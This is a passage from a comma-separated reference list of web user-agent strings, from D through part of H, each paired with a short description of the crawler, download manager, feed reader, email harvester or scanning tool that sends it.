bot from Kornet Korea (218.149.129.xxx) scans for Perl Awstats,DataCha0s/2.0\nUnknown UA looking for Awstats Perl components,DataCha0s/2.0\nINFOMINE/iVia Scholary Internet Resource Collections robot,DataFountains/DMOZ Downloader\nINFOMINE/iVia Scholary Internet Resource Collections robot,DataFountains/Dmoz Downloader (http://ivia.ucr.edu/useragents.shtml)\nINFOMINE/iVia Scholary Internet Resource Collections robot,DataFountains/DMOZ Feature Vector Corpus Creator (http://ivia.ucr.edu/useragents.shtml)\nDataparkSearch open source search engine,DataparkSearch/4.47 (+http://dataparksearch.org/bot)\nDataparkSearch open source search engine,DataparkSearch/4.xx (http://www.dataparksearch.org/)\nDataSpear Directory robot (24.109.29.xx),DataSpear/1.0 (Spider; http://www.dataspear.com/spider.html; spider@dataspear.com)\nDataSpear Directory robot (24.109.29.xx),DataSpearSpiderBot/0.2 (DataSpear Spider Bot; http://dssb.dataspear.com/bot.html; dssb@dataspear.com)\nSicher-durchs-Netz German security related search (62.75.220.xxx),DatenBot( http://www.sicher-durchs-netz.de/bot.html)\nWholeweb robot,DaviesBot/1.7 (www.wholeweb.net)\nDaypop blog - weblog - online mag search spider,daypopbot/0.x\ndbDig search engine,dbDig(http://www.prairielandconsulting.com)\nSome site scanning tool via diff. IPs i.e.: - wanweb.net (208.6.163.xxx) - cox.net (68.4.xxx.xxx),DBrowse 1.4b\nSome site scanning tool via diff. IPs i.e.: - pacbell.net (67.112.xxx.xxx),DBrowse 1.4d\nDC-Sakura download manager,DC-Sakura/x.xx\nunknown divine/Openmarket.com robot,dCSbot/1.1\nsome (website) downloading tool,DDD\nUnknown user agent,dds explorer v1.0 beta\nSearchengine.com (Germany) submission checking / robot (84.73.57.xx),de.searchengine.comBot 1.2 (http://de.searchengine.com/spider)\nDLC Perl HTTP link checking,DeadLinkCheck/0.4.0 libwww-perl/5.xx\nSootle Web Directory deep link checker,Deep Link Calculator v1.0\ndeepak-USC/ISI robot from USC/Information Science Institute,deepak-USC/ISI\nDeepindex robot,DeepIndex\nZetbot search Belgium (213.41.128.xx) using Deepindex robot,DeepIndex ( http://www.zetbot.com )\nDeepindex robot,DeepIndex (www.en.deepindex.com)\nDeepindex robot (via Paragon.net Canada),DeepIndexer.ca\ndel.icio.us picture robot for thumbnail preview via Yahoo,del.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko)\nDeleGate application level gateway / proxy server,DeleGate/9.0.5-fix1\nSome site scanning tool from 217.34.59.xxx (btopenworld.com),Demo Bot DOT 16b\nSome site scanning tool from 68.154.96.xx (bellsouth.net),Demo Bot Z 16b\nDenmex Websearch robot/link checking,Denmex websearch (http://search.denmex.com)\nDataBecker Bilder Sauger (discontinued) web graphics downloader,Der große BilderSauger 2.00u\nSearchspider.com robot (72.245.225.xxx),dev-spider2.searchpsider.com/1.3b\nDevComponents HTMLDocument Class Library for Visual Studio.net,DevComponents.com HtmlDocument Object\nDiaGem Japan web crawler,DiaGem/1.1 (http://www.skyrocket.gr.jp/diagem.html)\nClaria (ex Gator) SearchScout robot (64.152.73.xx),Diamond/x.0\nClaria (ex Gator) SearchScout robot (64.152.73.xx),DiamondBot\nDiggit! robot,Digger/1.0 JDK/1.3.0rc3\nOpenPortal4U robot,DigOut4U\nFindsame.com (site is offline) / Digital-Integrity robot,DIIbot/1.2\nDillo Web Browser,Dillo/0.8.5-i18n-misc\nDillo Web Browser,Dillo/0.x.x\ndisastrous - a del.icio.us link checker based on Python,disastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us)\nDISCo Pump offline browser / website ripper,DISCo Pump x.x\nUnkown robot from Discovery Engine Corp.,disco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)\nUnkown robot from Discovery Engine Corp.,disco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)\nDitto picture search robot,DittoSpyder\nsome download agent,dlman\nNaver Japan / Korea robot,dloader(NaverRobot)/1.0\nDNS Right - Online DNS tools,DNSRight.com WebBot Link Ckeck Tool. Report abuse to: dnsr@dnsright.com\nNTT DoCoMo (Japan) robot,DoCoMo/1.0/Nxxxi/c10\nNTT DoCoMo (Japan) robot,DoCoMo/1.0/Nxxxi/c10/TB\nGoogle (216.239.39.x) proxy server,DoCoMo/1.0/P502i/c10 (Google CHTML Proxy/1.0)\nNTT DoCoMo (Japan) robot,DoCoMo/2.0 P900iV(c100;TB;W24H11) \nNTT DoCoMo (Japan) proxy server (210.136.161.1xx),\"DoCoMo/2.0 SH901iS(c100;TB;W24H12),gzip(gfe) (via translate.google.com)\"\nYahoo Search Japan robot (203.216.197.xxx),DoCoMo/2.0 SH902i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)\nYahoo Search Japan robot (203.216.197.xxx),DoCoMo/2.0/SO502i (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.html)\nDocZilla - Mozilla-based SGML/XML/HTML- browser,DocZilla/1.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020804\nunknown robot from AGMLAB Information Technologies (Information retrieval system ?),dodgebot/experimental\nDonut P - Japanese IE based browser,DonutP; Windows98SE\nUnknown robot from douban search (China) - maybe image crawling,Doubanbot/1.0 (bot@douban.com http://www.douban.com)\nDownload Demon/Netzip download manager,Download Demon/3.x.x.x\nDownload Druid IE plugin download manager,Download Druid 2.x\nDownload Express download manager,Download Express 1.0\nDownload Master download manager,Download Master\nDownload Ninja download manager (Japan),Download Ninja 3.0\nDownload Wonder download manager,Download Wonder\nDownload-Tipp Germany link checking,Download-Tipp Linkcheck (http://download-tipp.de/)\ndownload.exe .NET based downloading tool,Download.exe(1.1) (+http://www.sql-und-xml.de/freeware-tools/)\nDownload Direct download manager,DownloadDirect.1.0\nDr.WEB online virus scanner,Dr.Web (R) online scanner: http://online.drweb.com/\nDragonfly CMS - Open Source content management system,Dragonfly File Reader\nDrecom Japan (210.233.67.xxx) - Blog search ??,Drecombot/1.0 (http://career.drecom.jp/bot.html)\nDrupal - open source content management platform,Drupal (+http://drupal.org/)\nSome site scanning tool via diff. IPs i.e.: - cox.net (68.5.xxx.xxx) - pacbell.net (64.16x.xxx.xxx),DSurf15a 01\nSome site scanning tool via diff. IPs i.e.: - cox.net (68.4.xxx.xxx),DSurf15a 71\nSome site scanning tool via diff. IPs i.e.: - verizon.net (4.47.xxx.xxx),DSurf15a 81\nSome site scanning tool via diff. IPs i.e.: - eastlink.ca (24.222.xxx.xxx) - cogeco.net (216.221.8x.xxx),DSurf15a VA\nDTAAgent Java object for data collecting,DTAAgent\ndt Search Spider software,dtSearchSpider\nFourelle Venturi proxy server,Dual Proxy\nDuck Duck Go search crawler,DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)\nDumbFind.com robot,Dumbot(version 0.1 beta - dumbfind.com)\nDumbFind.com robot,Dumbot(version 0.1 beta - http://www.dumbfind.com/dumbot.html)\nDumbFind.com robot,Dumbot(version 0.1 beta)\nVigiltech e-Sense user research robot (website is offline),e-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)\ne-Society Project (Japan) crawler (133.9.238.xx),e-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)\nGlobal Opto's eApollo Flash based search engine - Taiwan,eApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)\nEarthcom (Czech Republic) search robot (194.108.39.xx),EARTHCOM.info/1.x [www.earthcom.info]\nEarthcom (Czech Republic) search robot (194.108.39.xx),EARTHCOM.info/1.xbeta [www.earthcom.info]\nKeywen Encyclopedia Bot,EasyDL/3.xx\nKeywen Encyclopedia Bot,EasyDL/3.xx http://keywen.com/Encyclopedia/Bot\nSome site scanning tool via diff. IPs i.e.: - swbell.net (65.66.xxx.xxx),EBrowse 1.4b\neCatch (now Wysigot) offline browser,eCatch/3.0\nEcho.fr robot,EchO!/2.0\nSome site scanning tool via diff. IPs i.e.: - cox.net (68.4.xxx.xxx),Educate Search VxB\nXdefine text search engine robot - based on Egothor open source crawler,egothor/3.0a (+http://www.xdefine.org/robot.html)\nEgoto Search robot,EgotoBot/4.8 (+http://www.egoto.com/about.htm)\neJupiter searcg robot (206.191.49.xx),ejupiter.com\nTimelyWeb web page monitoring tool,EldoS TimelyWeb/3.x\nElftales crawler for uChoose theme based search (Germany),elfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)\nDAUMOA - RSS search robot of Daum,\"ELI/20070402:2.0 (DAUM RSS Robot, Daum Communications Corp.; +http://ws.daum.net/aboutkr.html)\"\nELinks text mode browser,ELinks (0.x.x; Linux 2.4.20 i586; 132x60)\nELinks text mode browser,ELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)\nSonic E-mail collector,EmailSiphon\nEmailSpider E-mail harvesting  software,EmailSpider\nTrellian EMailWolf E-mail collector,EmailWolf 1.00\nEmeraldShield spam and web filtration services,EmeraldShield.com WebBot\nEmeraldShield spam and web filtration services,EmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)\nEmpas search Korea robot (220.95.22x.xxx),EMPAS_ROBOT\nEnabot - Enaball semantic search project crawler,EnaBot/1.x (http://www.enaball.com/crawler.html)\nendo - Mac news site and blog aggregator,endo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)\nEnfish Personal search tool,Enfish Tracker\nEnterprise Search engine software (64.202.165.xxx),Enterprise_Search/1.0\nEnterprise Search engine software (64.202.165.xxx),Enterprise_Search/1.0.xxx\nEnterprise Search engine software (64.202.165.xxx),Enterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)\nEnvolk Web Search robot,envolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)\nEnvolk Web Search robot,envolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)\nEroCrawler adult search robot,EroCrawler\nEnterprise Search engine software (64.202.165.xxx),ES.NET_Crawler/2.0 (http://search.innerprise.net/)\nExactSEEK (Jayde Online) robot,eseek-larbin_2.6.2 (crawler@exactseek.com)\nESI Smart-Spider toolkit,ESISmartSpider\ne-Style ISP search (Russia) robot (217.174.103.xxx),eStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)\nSome site scanning tool via diff. IPs,ESurf15a 15\nEurip.com - European Internet Portal robot,EuripBot/0.x (+http://www.eurip.com) GetFile\nEurip.com - European Internet Portal robot,EuripBot/0.x (+http://www.eurip.com) GetRobots\nEurip.com - European Internet Portal robot,EuripBot/0.x (+http://www.eurip.com) PreCheck\nAyell Euronet business directory robot,Eurobot/1.0 (http://www.ayell.eu)\nEvaal Search Engine robot,EvaalSE - bot@evaal.com\nEventax event search (Germany),eventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de)\nVulcan Inc. Everest crawler (in development),Everest-Vulcan Inc./0.1 (R&D project; host=e-1-24; http://everest.vulcan.com/crawlerhelp)\nVulcan Inc. Everest crawler (in development),Everest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp)\nExalead Websearch image crawler (193.47.80.xx),Exabot-Images/1.0\nExalead (France) search robot (193.47.80.xx),Exabot-Test/1.0\nExalead (France) search robot (193.47.80.xx),Exabot/2.0\nExalead (France) search robot (193.47.80.xx),Exabot/3.0\neXact Search Bar for IE,ExactSearch\nExactSEEK (Jayde Online) robot,ExactSeek Crawler/0.1\nExactSEEK (Jayde Online) robot,exactseek-crawler-2.63 (crawler@exactseek.com)\nExactSEEK (Jayde Online) robot,exactseek-pagereaper-2.63 (crawler@exactseek.com)\nExactSEEK (Jayde Online) robot (69.9.181.1xx),exactseek.com\nExalead (France) search robot (193.47.80.xx),Exalead NG/MimeLive Client (convert/http/0.120)\nExcalibur (now Convera) spider software,Excalibur Internet Spider V6.5.4\nExecrawl software search using nutch,Execrawl/1.0 (Execrawl; http://www.execrawl.com/; bot@execrawl.com)\nexooba crawler for exooba search pre-alpha development,exooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)\nexooba crawler for exooba search pre-alpha development,exooba/exooba crawler (exooba; exooba)\nMirago UK Robot,ExperimentalHenrytheMiragoRobot\nExpired Domain Sleuth domain name tool,Expired Domain Sleuth\nExpress Web Pictures image browser,Express WebPictures (www.express-soft.com)\nExtractor Pro e-mail collector,ExtractorPro\nExisoftware image grabber and downloading tool,Extreme Picture Finder\nDownload-Tipp Germany robot,EyeCatcher (Download-tipp.de)/1.0\nFactbites search robot,Factbot 1.09 (see http://www.factbites.com/webmasters.php)\nFactbites search robot,factbot : http://www.factbites.com/robots\nFaEdit Professional - Japanese bookmark manager,FaEdit/2.0.x\nFairAd user,FairAd Client\nSafe-t.net web filtering service,FANGCrawl/0.01\nDrew Curtis' FARK.com link checking,FARK.com link verifier\nFast/Alltheweb crawler (66.151.181.xx),Fast Crawler Gold Edition\nFast/Alltheweb crawler (66.151.181.xx),FAST Enterprise Crawler 6 (Experimental)\nFast Enterprise Crawler (66.151.181.xx) for Scirus scienctific information search,FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/\nFast/Alltheweb crawler (66.151.181.xx),FAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)\nComperio Web Miner based on Fast ESP,FAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)\nFast/Alltheweb crawler (66.151.181.xx),FAST Enterprise Crawler 6 used by FAST (FAST)\nPages Jaunes business search (France) robot using Fast Enterprise Crawler,FAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)\nFast/Alltheweb crawler for Sensis.com.au Australian search (66.151.181.xx),FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\\at\\sensis\\dot\\com\\dot\\au)\nSPH Search - Singapore related search using Fast crawler,FAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)\nFAST Enterprise Crawler  used by WWU (University of Muenster - Germany),FAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)\nFast/Alltheweb crawler (66.151.181.xx),FAST Enterprise Crawler/6 (www.fastsearch.com)\nFast/Alltheweb crawler (66.151.181.xx),FAST Enterprise Crawler/6.4 (helpdesk at fast.no)\nFast/Alltheweb crawler (66.151.181.xx),FAST FirstPage retriever (compatible; MSIE 5.5; Mozilla/4.0)\nFast/Alltheweb crawler (66.151.181.xx),FAST MetaWeb Crawler (helpdesk at fastsearch dot com)\nFast/Alltheweb crawler (66.151.181.xx),Fast PartnerSite Crawler\nFast/Alltheweb multimedia crawler,FAST-WebCrawler/2.2.10 (Multimedia Search) (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)\nFast/Alltheweb crawler,FAST-WebCrawler/2.2.6 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)\nFast/Alltheweb crawler,FAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no\nFast/Alltheweb crawler,FAST-WebCrawler/2.2.8 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no\nFast/Alltheweb crawler,FAST-WebCrawler/3.2 test\nFast/Alltheweb crawler,FAST-WebCrawler/3.3 (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFast/Alltheweb crawler,FAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFast/Alltheweb crawler,FAST-WebCrawler/3.4/PartnerSite (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFast/Alltheweb crawler,FAST-WebCrawler/3.5 (atw-crawler at fast dot no; http://fast.no/support.php?c=faqs/crawler)\nFast/Alltheweb crawler,FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFast/Alltheweb crawler,FAST-WebCrawler/3.6/FirstPage (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFast/Alltheweb crawler,FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFast/Alltheweb crawler,FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)\nFast/Alltheweb crawler,FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFast/Alltheweb crawler,FAST-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFast/Alltheweb multimedia crawler,FAST-WebCrawler/3.x Multimedia\nFast/Alltheweb multimedia crawler,FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)\nFastbot search Germany crawler (80.252.104.1xx),fastbot crawler beta 2.0 (+http://www.fastbot.de)\nAy-Up geo sync search robot,FastBug http://www.ay-up.com\nFast/Alltheweb crawler (66.151.181.xx),FastCrawler 3.0.1 (crawler@1klik.dk)\nFast/Alltheweb crawler used by SuperPages.com,FastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)\nFavcollector Favicon collecting robot,Favcollector/2.0 (info@favcollector.com http://www.favcollector.com/)\nFavIconizer - IE favorites icons refreshing tool,FavIconizer\nfavo.eu (Germany) search robot,favo.eu crawler/0.6 (http://www.favo.eu)\nZD's FavOrg favourites managing program,FavOrg\nCampulka.net Favorites checking tool,Favorites Checking (http://campulka.net)\nFavorites Sweeper bookmark checker,Favorites Sweeper v.2.03\nFaXo Search robot (69.152.89.xx),Faxobot/1.0\nFree Download Manager (FDM) download accelerator ,FDM 1.x\nFree Download Manager (FDM) download accelerator ,FDM 2.x\nRSS Feed Seeker bot (68.225.95.2xx),Feed Seeker Bot (RSS Feed Seeker http://www.MyNewFavoriteThing.com/fsb.php)\nFeed24 news feed and blog search,Feed24.com\nFeed::Find - Syndication feed (RSS/Atom) auto-discovery,Feed::Find/0.0x\nFeedable beta web based RSS service,Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)\nUnknown robot from the University of Tokyo (157.82.157.xx),FeedChecker/0.01\nFeedDemon RSS reader,FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)\nGoogle news feed feetcher for iGoogle gadgets,Feedfetcher-Google-iGoogleGadgets; (+http://www.google.com/feedfetcher.html)\nGoogle Feedfetcher - RSS and Atom feed crawler,Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)\nFeedForAll RSS feed robot,FeedForAll rss2html.php v2\nFeedHub news feed personalization engine powered by mSpoke,FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)\nFeedHub news feed personalization engine powered by mSpoke,FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)\nFeedjit news feed service favicon crawler,Feedjit Favicon Crawler 1.0\nNewsbrain Feedreader3,Feedreader 3.xx (Powered by Newsbrain)\nFeedShow online RSS feed reader,Feedshow/x.0 (http://www.feedshow.com; 1 subscriber)\nFeedShow online RSS feed reader,FeedshowOnline (http://www.feedshow.com)\n\"FeedZcollector - Feed (RSS, ATOM and RDF) capturing software\",FeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector\nMixCat robot,Felix - Mixcat Crawler (+http://mixcat.com)\nFreeBSD download tool,fetch libfetch/2.0\nFrequent Finders spider via Sitefusion.com,FFC Trap Door Spider\nFilangy search and bookmark service,Filangy/0.01-beta (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)\nFilangy search and bookmark service,Filangy/1.0x (Filangy; http://www.filangy.com/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)\nFilangy search and bookmark service,Filangy/1.0x (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)\nFile Boost Network link checking,fileboost.net/1.0 (+http://www.fileboost.net)\nFileHound download manager,FileHound x.x\nfiltrbox media content (news) monitoring,Filtrbox/1.0\nFind An ISP robot,FindAnISP.com_ISP_Finder_v99a\nYelo.no business search (Norway) via Findexa,Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)\nNextLinks - German vocabulary and hyperlink search,findlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/) \nFinesearch robot,FineBot\nFinjan Vital Security Web Appliance security solution,Finjan-prefetch\nFireball.de robot,Firefly/1.0\nFireball.de robot,Firefly/1.0 (compatible; Mozilla 4.0; MSIE 5.5)\nUnknown robot from Czech Technical University Prague (147.32.141.xx),Firefox (kastaneta03@hotmail.com)\nUnknown robot from Czech Technical University Prague (147.32.141.xx),Firefox_1.0.6 (kasparek@naparek.cz)\nAT&T/Fast Search robot for FirstGov (U.S.Government) portal,FirstGov.gov Search - POC:firstgov.webmasters@gsa.gov\nFirstsfind Germany robot / link checking,firstsbot\nFlaptor information retrieval solutions robot,Flapbot/0.7.2 (Flaptor Crawler; http://www.flaptor.com; crawler at flaptor period com)\nJetCar/FlashGet download manager,FlashGet\nFlatArts Favorites Icon Tool,FLATARTS_FAVICO\nFlexum.ru search service,Flexum spider\nFlexum.ru search service,Flexum/2.0\nDivX.com Movie Find robot,FlickBot 2.0 RPT-HTTPClient/0.3-3\nMetacarta / Cogent robot,flunky\nunknown,fly/6.01 libwww/4.0D\nFLY Index Metasearch link checking,flyindex.net 1.0/http://www.flyindex.net\nFnoole news crawler,FnooleBot/2.5.2 (+http://www.fnoole.com/addurl.html)\nIBM's Almaden Research robot,FocusedSampler/1.0\nfolkd.com social search robot,Folkd.com Spider/0.1 beta 1 (www.folkd.com)\nFollowSite robot - website monitoring,FollowSite Bot ( http://www.followsite.com/bot.html )\nFollowSite robot - website monitoring,FollowSite.com ( http://www.followsite.com/b.html )\nFooky search Scorpionbots robot (65.12.170.xxx),Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots\nNeomo Search (Germany) robot (85.10.197.1xx),Francis/1.0 (francis@neomo.de http://www.neomo.de/)\nSome spam bot,Franklin Locator 1.8\nFree Downloads shareware directory link checking,free-downloads.net download-link validator /0.1\nFreeFind.com robot,FreeFind.com-SiteSearchEngine/1.0 (http://freefind.com; spiderinfo@freefind.com)\nFrelics backlink checking bot (beta),Frelicbot/1.0 +http://www.frelic.com/\nFresh Download download manager,FreshDownload/x.xx\nFreshNotes - music related artist search (72.3.225.xx),FreshNotes crawler< report problems to crawler-at-freshnotes-dot-com\nSome site scanning tool via diff. IPs,FSurf15a 01\nFind the Best search robot,FTB-Bot http://www.findthebest.co.uk/\nSome site scanning tool from diff. IPs i.e.: - 66.28.240.xx (cogentco.com) - 68.5.174.xx (cox.net),Full Web Bot 0416B\nSome site scanning tool i.e. from - 68.154.96.xx (bellsouth.net),Full Web Bot 0516B\nSome site scanning tool from 66.255.6.xxx (uslec.com),Full Web Bot 2816B\nFuseBulb search,FuseBulb.Com\nFyberSearch FyberSpider robot,FyberSpider (+http://www.fybersearch.com/fyberspider.php)\nSome user from bbnplanet.net (4.63.218.2xx) using an Innerprise robot tool,Gagglebot\nSeed Search robot,GAIS Robot/1.0B2\nGaislab Taiwan robot,Gaisbot/3.0 (indexer@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)\nGaislab Taiwan robot,Gaisbot/3.0+(robot06@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)\nGalaxy robot (63.121.41.xxx),GalaxyBot/1.0 (http://www.galaxy.com/galaxybot.html)\nGallent Search directory (UK),Gallent Search Spider v1.4 Robot 2 (http://robot.GallentSearch.com)\nGamekit game search engine - Germany,gamekitbot/1.0 (+http://www.uchoose.de/crawler/gamekitbot/)\nGameSpyHTTP/1.0,Gamespy_Arcade\nGammaWare GammaSpider,GammaSpider/1.0\nnttrd.com / Infobee.ne.jp robot,gazz/x.x (gazz@nttrd.com)\nGeckobot user robot,geckobot\nGoogle Mobile Search crawler,Generic Mobile Phone (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)\nUnknown robot from Carnegie Mellon University (128.2.211.xxx),generic_crawler/01.0217/\nLunascape Genesis browser,GenesisBrowser (HTTP 1.1; 0.9; XP SP2; .NET CLR 2.0.50727)\nGenieKnows.com search,genieBot (http://64.5.245.11/faq/faq.html)\nGenieKnows.com search,geniebot wgao@genieknows.com\nUnknown robot from wavepath.com (65.254.33.1xx),GeoBot/1.0\nGeona Search robot / link checking,GeonaBot 1.x; http://www.geona.com/\nGeoURL ICBM Address Server - a location-to-URL reverse directory,geourl/2.0b2\nGeoURL ICBM Address Server - a location-to-URL reverse directory,GeoURLBot 1.0 (http://geourl.org)\nGetbot web downloading tool / site grabber,GetBot\nGetRight download manager,GetRight/3.x.x\nGetRight download manager,GetRight/4.5xx\nGetRight download manager,GetRight/4.x\nGetRight download manager,GetRight/4.x[a-e]\nGetRight download manager,GetRight/6.1 (Pro)\nGetRight download manager,GetRightPro/6.0beta2\nGetWeb - web page to email service,GetWeb/0.1 libwww-perl/5.16\nSixxs Ghost Route Hunter,GhostRouteHunter/20021130 (https://www.sixxs.net/tools/grh/; info@sixxs.net)\nGigaBaz Brainbot (Germany) robot,gigabaz/3.1x (baz@gigabaz.com; http://gigabaz.com/gigabaz/)\nGigablast robot (64.62.168.xx),Gigabot/2.0 (gigablast.com)\nGigablast robot,Gigabot/2.0/gigablast.com/spider.html\nGigablast robot,Gigabot/2.0; http://www.gigablast.com/spider.html\nGigablast robot,Gigabot/2.0att\nGigablast robot,Gigabot/3.0 (http://www.gigablast.com/spider.html)\nGigablast robot (64.62.168.xx),Gigabot/x.0\nGigablast robot (64.62.168.xx),GigabotSiteSearch/2.0 (sitesearch.gigablast.com)\nwww.gnod.net spider,GNODSPIDER (www.gnod.net)\nGo!Zilla download manager,Go!Zilla 3.x (www.gozilla.com)\nGo!Zilla download manager,Go!Zilla/4.x.x.xx\nGotIt web accelerator (discontinued),Go-Ahead-Got-It/1.1\nGoGuides.Org (195.226.137.xx) robot,Goblin/0.9 (http://www.goguides.org/)\nGoGuides.Org (195.226.137.xx) robot,Goblin/0.9.x (http://www.goguides.org/goblin-info.html)\nGoForIt Search robot,GoForIt.com\nGoForIt Search robot,GOFORITBOT ( http://www.goforit.com/about/ )\nGoGuides.org directory & search link checking,GoGuides.Org Link Check\nGoldenFeed.com - RSS search engine,GoldenFeed Spider 1.0 (http://www.goldenfeed.com)\nInvention Machines Goldfire Server,Goldfire Server\nsuchen.de German local search robot,gonzo1[P] +http://www.suchen.de/popups/faq.jsp\nsuchen.de German local search robot,gonzo2[P] +http://www.suchen.de/faq.html\nSome private robot (Wanadoo.fr client),Goofer/0.2\nGoogle instant messenger,Google Talk\nPackard Bell Net user robot (*not* Google),googlebot (larbin2.6.0@unspecified.mail)\nGoogle image crawler (66.249.72.xxx),Googlebot-Image/1.0\nGoogle image crawler (66.249.72.xxx),Googlebot-Image/1.0 ( http://www.googlebot.com/bot.html)\nGoogle robot 66.249.64.XXX,Googlebot/2.1 ( http://www.google.com/bot.html)\nGoogle robot 66.249.64.XXX,Googlebot/2.1 ( http://www.googlebot.com/bot.html)\nGoogle robot 66.249.64.XXX,Googlebot/Test ( http://www.googlebot.com/bot.html)\nShareThis social networking service via Amazon Web Services,Gordon's Spider/Nutch-0.9 (http://www.sharethis.com; gordon@sharethis.com)\nGrapeshot web search system API,GrapeFX/0.3 libwww/5.4.0\nFlatland Industries vertical search solution,great-plains-web-spider/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@flatlandindustries.com)\nGreatNews 1.0 Beta RSS reader,GreatNews/1.0\nGreenBrowser - IE based browser (China),GreenBrowser\nsearch gridwell favicon display,gridwell (http://search.gridwell.com)\nGrigor Search bot,GrigorBot 0.8 (http://www.grigor.biz/bot.html)\nAustralasian Legal Information Institute (AustLII) robot,Gromit/1.0\nGrub open source crawler,grub crawler(http://www.grub.org)\nGrub open source crawler,grub-client\nGoogle Search Appliance robot (216.239.xx.xx),gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)\nGoogle Search Appliance robot (216.239.xx.xx),gsa-crawler (Enterprise; GID-01742;gsatesting@rediffmail.com)\nGoogle Enterprise Search Appliance used by Enhesa (212.35.100.1xx),gsa-crawler (Enterprise; GIX-02057; dm@enhesa.com)\nGoogle Enterprise Search Appliance used by IBM (129.41.20.1xx),gsa-crawler (Enterprise; GIX-03519; cknuetter@stubhub.com)\nGoogle Search Appliance robot (216.239.xx.xx),gsa-crawler (Enterprise; GIX-0xxxx; enterprise-training@google.com)\nGSiteCrawler - Google sitemap generator for Windows,GSiteCrawler/v1.xx rev. xxx (http://gsitecrawler.com/)\nGuestbook spamming tool,Guestbook Auto Submitter\nNorthernlight robot,Gulliver/1.3\nYuntis Collaborative Web Resource Categorization and Ranking Project robot,Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)\nGungho - Extensible web crawler written in Perl by Google Code,Gungho/0.08004 (http://code.google.com/p/gungho-crawler/wiki/Index)\nguruji : the Indian search engine robot,GurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html)\nguruji : the Indian search engine picture crawler,GurujiImageBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)\nOpenwave Mobile Browser on Haier T10C mobile,Haier-T10C/1.0 iPanel/2.0 WAP2.0 (compatible; UP.Browser/6.2.2.4; UPG1; UP/4.0; Embedded)\nHappy Fun Search robot,HappyFunBot/1.1\nHarvest-NG web crawler used by search.yahoo.com,Harvest-NG/1.0.2\nHaste - web mapping and monitoring system,Haste/0.12 (HOME: http://haste.kytoon.com/)\nHatena::Antenna Japan 